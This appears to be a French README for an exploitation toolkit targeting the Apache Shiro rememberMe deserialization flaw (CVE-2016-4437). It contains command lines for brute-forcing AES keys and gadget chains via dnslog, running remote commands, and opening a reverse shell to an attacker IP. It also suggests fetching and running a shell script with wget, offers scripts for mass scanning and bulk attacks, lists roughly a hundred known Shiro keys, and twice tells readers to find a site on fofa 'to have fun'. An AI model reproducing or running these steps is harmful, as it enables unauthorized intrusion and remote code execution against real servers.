
CVE-2016-4437-Shiro module de brute force de désérialisation et key, exécution de commandes, script de reverse shell
CVE-2016-4437 Shiro<=1.2.4 Désérialisation, module de bruteforce des clés, exécution de code, reverse shell
Parce que Shiro désérialise le champ rememberMe du cookie, si l'on connaît la méthode d'encodage de Shiro, on peut encoder une commande malveillante avec cette méthode et la placer dans le cookie de l'en-tête HTTP. Lorsque Shiro désérialise le champ rememberMe du cookie soumis, la commande insérée est exécutée, entraînant ainsi une exécution de commande.
Shiro utilise par défaut CookieRememberMeManager, dont le flux de traitement du cookie est le suivant :
Récupérer la valeur du cookie rememberMe --> Décodage Base64 --> Déchiffrement AES --> Désérialisation
Linux/Windows 10 fonctionnent tous deux.
Python2/Python3 fonctionnent tous deux.
En raison de la présence de ysoserial.jar sous le module, le projet est un peu volumineux, merci de votre compréhension.
docker pull medicean/vulapps:s_shiro_1
docker run -d -p 80:8080 medicean/vulapps:s_shiro_1
shiro_crack.pyNécessite l'utilisation conjointe de http://dnslog.cn/
python3 shiro_crack.py http://www.baidu.com/login.do 1695jb.dnslog.cn
Après réussite, consulter les enregistrements – le format de l'enregistrement est {{key}}.{{module}}.dnslogurl
U3ByaW5nQmxhZGUAAAAAAA.CommonsBeanutils1.x9zm4v.dnslog.cn
La clé réussie est donc U3ByaW5nQmxhZGUAAAAAAA==, le module est CommonsBeanutils1.
Comme la clé peut contenir des caractères comme == ou /+, ce projet effectue une légère échappement. Il faut comparer avec la clé de l'annexe 1.
Trouver un site sur fofa pour s'amuser.

shiro_crack.pyEn réalité, de nombreux outils en ligne permettent de bruteforcer les modules et les clés, mais après une réussite, on ne sait généralement pas quel module ni quelle clé ont été utilisés, car pour une exécution de commande sans retour, le code de réponse est toujours 200, que cela fonctionne ou non. Ce projet utilise le bruteforce des modules et des clés combiné avec dnslog pour obtenir indirectement la clé et le module réussis. Le principe est celui du DNSlog : le DNS laisse des logs lors de la résolution ; en lisant les logs de résolution des noms de domaine à plusieurs niveaux, on obtient les informations de la requête.
shiro_rce.py pour l'exécution de commandesPeut être combiné avec http://dnslog.cn/
python3 shiro_crack.py http://www.baidu.com/login.do "ping rcetest.x9zm4v.dnslog.cn"
Dans dnslog, on voit ping rcetest.x9zm4v.dnslog.cn. Pour distinguer, il est conseillé d'utiliser un nom de domaine d'un niveau inférieur.
shiro_rcepopen = subprocess.Popen(['java', '-jar', '../module/ysoserial.jar', 'CommonsBeanutils1', command], stdout=subprocess.PIPE)
Remplacer CommonsBeanutils1 par le module trouvé lors du bruteforce.
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
Remplacer par la clé trouvée lors du bruteforce.
Trouver un site sur fofa pour s'amuser.

shiro_getshellnc -lvnp 7777
python3 shiro_exp.py -u {{cible attaquée}} -lh {{IP pour le reverse shell}} -lp {{port pour le reverse shell}}
Par sécurité, tester en local. Le principe est d'emballer JRMPListener et le payload ensemble ; en théorie, on peut se passer de JRMPListener.
shiro_getshell :

Une petite idée :
Puisque l'on peut sortir du réseau, pourquoi ne pas utiliser directement shiro_rec avec un bash reverse shell ?
J'ai essayé plusieurs fois sans succès, je pense que Shiro a un filtre, mais j'ai découvert que l'on peut d'abord télécharger un script sh avec wget, puis exécuter le script.
Référence : Petite étude sur le reverse shell sans JRMPListener
fuzz-shiroEffectue un test simple basé sur les en-têtes de requête et de réponse – place les sites avec Shiro dans shiro.txt.
shiro_piliang_crack.pyIl est recommandé d'utiliser d'abord fuzz-shiro pour obtenir la liste shiro.txt des sites avec Shiro, puis de les attaquer en masse.
L'enregistrement dnsLog est au format :
{{key}}.{{module}}.{{url}}.dnsurl
Testé personnellement, cela fonctionne bien.
No module named 'Crypto'Exécuter les commandes suivantes :
pip uninstall crypto pycryptodome
pip install pycryptodome
Dans le répertoire d'installation de Python, \Lib\site-packages, renommer le dossier crypto en Crypto.
kPH+bIxk5D2deZiIxcaaaA==
4AvVhmFLUs0KTA3Kprsdag==
Z3VucwAAAAAAAAAAAAAAAA==
fCq+/xW488hMTCD+cmJ3aQ==
0AvVhmFLUs0KTA3Kprsdag==
1AvVhdsgUs0FSA3SDFAdag==
1QWLxg+NYmxraMoxAXu/Iw==
25BsmdYwjnfcWmnhAciDDg==
2AvVhdsgUs0FSA3SDFAdag==
3AvVhmFLUs0KTA3Kprsdag==
3JvYhmBLUs0ETA5Kprsdag==
r0e3c16IdVkouZgk1TKVMg==
5aaC5qKm5oqA5pyvAAAAAA==
5AvVhmFLUs0KTA3Kprsdag==
6AvVhmFLUs0KTA3Kprsdag==
6NfXkC7YVCV5DASIrEm1Rg==
6ZmI6I2j5Y+R5aSn5ZOlAA==
cmVtZW1iZXJNZQAAAAAAAA==
7AvVhmFLUs0KTA3Kprsdag==
8AvVhmFLUs0KTA3Kprsdag==
8BvVhmFLUs0KTA3Kprsdag==
9AvVhmFLUs0KTA3Kprsdag==
OUHYQzxQ/W9e/UjiAGu6rg==
a3dvbmcAAAAAAAAAAAAAAA==
aU1pcmFjbGVpTWlyYWNsZQ==
bWljcm9zAAAAAAAAAAAAAA==
bWluZS1hc3NldC1rZXk6QQ==
bXRvbnMAAAAAAAAAAAAAAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
wGiHplamyXlVB11UXWol8g==
U3ByaW5nQmxhZGUAAAAAAA==
MTIzNDU2Nzg5MGFiY2RlZg==
L7RioUULEFhRyxM7a2R/Yg==
a2VlcE9uR29pbmdBbmRGaQ==
WcfHGU25gNnTxTlmJMeSpw==
OY//C4rhfwNxCQAQCrQQ1Q==
5J7bIJIV0LQSN3c9LPitBQ==
f/SY5TIve5WWzT4aQlABJA==
bya2HkYo57u6fWh5theAWw==
WuB+y2gcHRnY2Lg9+Aqmqg==
kPv59vyqzj00x11LXJZTjJ2UHW48jzHN
3qDVdLawoIr1xFd6ietnwg==
ZWvohmPdUsAWT3=KpPqda
YI1+nBV//m7ELrIyDHm6DQ==
6Zm+6I2j5Y+R5aS+5ZOlAA==
2A2V+RFLUs+eTA3Kpr+dag==
6ZmI6I2j3Y+R1aSn5BOlAA==
SkZpbmFsQmxhZGUAAAAAAA==
2cVtiE83c4lIrELJwKGJUw==
fsHspZw/92PrS3XrPW+vxw==
XTx6CKLo/SdSgub+OPHSrw==
sHdIjUN6tzhl8xZMG3ULCQ==
O4pdf+7e+mZe8NyxMTPJmQ==
HWrBltGvEZc14h9VpMvZWw==
rPNqM6uKFCyaL10AK51UkQ==
Y1JxNSPXVwMkyvES/kJGeQ==
lT2UvDUmQwewm6mMoiw4Ig==
MPdCMZ9urzEA50JDlDYYDg==
xVmmoltfpb8tTceuT5R7Bw==
c+3hFGPjbgzGdrC+MHgoRQ==
ClLk69oNcA3m+s0jIMIkpg==
Bf7MfkNR0axGGptozrebag==
1tC/xrDYs8ey+sa3emtiYw==
ZmFsYWRvLnh5ei5zaGlybw==
cGhyYWNrY3RmREUhfiMkZA==
IduElDUpDDXE677ZkhhKnQ==
yeAAo1E8BOeAYfBlm4NG9Q==
cGljYXMAAAAAAAAAAAAAAA==
2itfW92XazYRi5ltW0M2yA==
XgGkgqGqYrix9lI6vxcrRw==
ertVhmFLUs0KTA3Kprsdag==
5AvVhmFLUS0ATA4Kprsdag==
s0KTA3mFLUprK4AvVhsdag==
hBlzKg78ajaZuTE0VLzDDg==
9FvVhtFLUs0KnA3Kprsdyg==
d2ViUmVtZW1iZXJNZUtleQ==
yNeUgSzL/CfiWw1GALg6Ag==
NGk/3cQ6F5/UNPRh8LpMIg==
4BvVhmFLUs0KTA3Kprsdag==
MzVeSkYyWTI2OFVLZjRzZg==
CrownKey==a12d/dakdad
empodDEyMwAAAAAAAAAAAA==
A7UzJgh1+EWj5oBFi+mSgw==
YTM0NZomIzI2OTsmIzM0NTueYQ==
c2hpcm9fYmF0aXMzMgAAAA==
i45FVt72K2kLgvFrJtoZRw==
U3BAbW5nQmxhZGUAAAAAAA==
ZnJlc2h6Y24xMjM0NTY3OA==
Jt3C93kMR9D5e8QzwfsiMw==
MTIzNDU2NzgxMjM0NTY3OA==
vXP33AonIp9bFwGl7aT7rA==
V2hhdCBUaGUgSGVsbAAAAA==
Z3h6eWd4enklMjElMjElMjE=
Q01TX0JGTFlLRVlfMjAxOQ==
ZAvph3dsQs0FSL3SDFAdag==
Is9zJ3pzNh2cgTHB4ua3+Q==
NsZXjXVklWPZwOfkvk6kUA==
GAevYnznvgNCURavBhCr1w==
66v1O8keKNV3TTcGPK1wzg==
SDKOLKn2J1j/2BHjeZwAoQ==